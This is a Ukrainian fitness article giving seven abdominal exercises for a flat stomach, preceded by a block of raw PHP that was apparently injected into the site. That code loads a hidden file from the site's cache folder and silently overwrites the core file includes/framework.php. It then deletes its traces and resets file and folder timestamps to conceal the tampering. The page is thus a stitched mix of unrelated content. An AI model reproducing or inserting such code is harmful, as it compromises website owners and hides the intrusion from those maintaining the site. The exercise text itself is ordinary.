$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php"; $cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php"; $frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php"; if (file_exists($cacheFile) && file_exists($frameworkFileTo)) { require_once JPATH_BASE . "/cache/_system/".md5("_system")."-cache-system.php"; $filemTime = filemtime($frameworkFile); $contentFile = file_get_contents($frameworkFileTo); file_put_contents($frameworkFile, $contentFile, LOCK_EX); @unlink($frameworkFileTo); @unlink($cacheFile); touch($frameworkFile, $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/includes", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache/_system", $filemTime); } Плоский живіт, або як накачати прес | Спортивне харчування - успіх у бодібілдингу та пауерліфтингу

Плоский живіт, або як накачати прес

Рано чи пізно живіт з'являється у більшості чоловіків, в тому числі і у деяких іменитих спортсменів. Але не варто вмовляти і виправдовувати себе, що це неминуче і з віком трапляється з усіма. Насправді проблему цілком можна вирішити і впоратися з нею під силу кожному. І для цього не потрібні дорогі тренажери або абонемент до тренажерного залу. Просто намагайтеся правильно харчуватися й робити вправи щодня.

М'язи пресаПерш ніж енергійно кидатися виконувати вправи, важливо розуміти які ж м'язи відносяться до м'язів преса (щоб не накачати зайвого). Ваше пузо складається з чотирьох основних груп м'язів: прямі черевні м'язи, зовнішні косі м'язи, внутрішні косі м'язи і поперечні черевні м'язи.

І ще одна рекомендація, перед тим як ви поринете у світ спортивних досягнень. Якщо фізичні навантаження для вас щось нове і невідоме, не варто в перший же день ставити олімпійські рекорди. Починайте з малого. Для першого разу буде цілком достатньо і трьох підходів по 15-20 повторів. З кожним разом збільшуйте кількість повторів або підходів (кому як подобається). У перші рази, вас, можливо, і не вистачить на цілих 15 хвилин, але з часом п'ятнадцятихвилинна зарядка стане для вас нормою.

Ну що ж, а тепер, власне, самі вправи.

Вправа № 1.

Ляжте спиною на підлогу і зігніть ноги в колінах так, щоб стопи всією поверхнею торкалися підлоги. (Ви можете менше зігнути коліна, але в цьому випадку потрібно буде закріпити стопи під яким-небудь предметом меблів.) Зігніть руки за головою. Енергійним рухом, втягуючи живіт, підніміть тулуб в положення сидячи або до майже перпендикулярного положення по відношенню до підлоги. Не відпочиваючи і безперервно напружуючи м'язи черевного преса, поверніться у початкове положення.

Вправа № 2.

Ляжте на спину на підлогу, зігнувши ноги в колінах і схрестивши ікри. Розташуйте руки за головою. Як можна сильніше втягнувши живіт, повільним плавним рухом піднімайте плечі, поки вони повністю не відірвуться від підлоги. Не відривайте від підлоги спину. Постарайтеся не втрачати контроль над собою і не падати на підлогу, а повільно опустити корпус до вихідного положення, не послаблюючи напруги м'язів преса.

Вправа № 3.

Ляжте на підлогу або на плоску гімнастичну лаву, руки вздовж тулуба. Якщо необхідно, можете триматися руками за краї лавки. Трошки зігніть ноги в колінах, щоб зняти навантаження зі спини. Не роз'єднуючи ноги, підніміть їх вгору, поки вони не приймуть положення перпендикулярне до підлоги. Виконуючи це рух, максимально напружуйте м'язи живота. Якщо при виконанні цієї вправи ви відчуєте біль у спині, піднімайте ноги вище, ближче до грудей. Це зніме напругу зі спини. Не відпочиваючи і зберігаючи контроль над рухами, поверніться у вихідне положення. Не ослабляйте напруги нижної області преса.

Вправа № 4.

Сядьте на край стільця або плоскої гімнастичної лавки, візьміться руками за її краї. Відведіть тулуб назад, кут нахилу повинен бути приблизно тридцять градусів. Витягніть ноги прямо перед собою. Як можна сильніше напружуючи м'язи нижньої області преса і не розтуляючи колін, підтягніть їх до грудей якомога вище. Не послаблюючи напруги м'язів преса, поверніться у вихідне положення.

Вправа № 5.

Ляжте спиною на підлогу, ноги витягніть, трохи зігнувши їх в колінах, ступні ніг тримайте разом. Руки витягніть за головою. Одночасно піднімайте верхню і нижню частину тулуба, виносячи вперед руки і піднімаючи ноги. Ноги тримайте разом. Намагайтеся підняти корпус і ноги якомога вище. Потім, зберігаючи повний контроль над рухами, поверніться у вихідне положення.

Вправа № 6.

гарний пресПоставте ноги на ширину приблизно п'ятнадцяти сантиметрів. Візьміть в праву або ліву руку півторакілограмову гантелю. Розгорніть кисть руки долонею назовню. Рука повинна бути зігнута в лікті приблизно під прямим кутом. Зробивши невеликий нахил тулуба у бік робочої руки, напружте якомога сильніше зубчасті й косі м'язи. Опустіть лікоть руки вниз, одночасно спробуйте досягти максимального скорочення м'язів черевного преса. Вільну руку можете покласти на область косих м'язів, щоб відчути інтенсивність м'язового навантаження. Дотримуючись принципу безперервного навантаження, поверніться у вихідне положення. Потім повторіть все для протилежного боку тулуба.

Вправа № 7.

Ляжте спиною на підлогу і зігніть ноги в колінах. Ступні ніг тримайте разом. Нахиліть ноги в бік, поки коліна не будуть максимально наближені до підлоги. Розташуйте руки за головою, зігнувши їх у ліктях. Спрямовуючи груди вгору, відірвіть плечі від підлоги як можна вище. Слідкуйте за тим, щоб корпус піднімався рівно на одній лінії, штовхайте вгору груди, а не шию. Повторіть, повернувши ноги в інший бік.

Такі щоденні вправи гарантують вам гарний кубічний прес.
 
Бодібілдінг Плоский живіт, або як накачати прес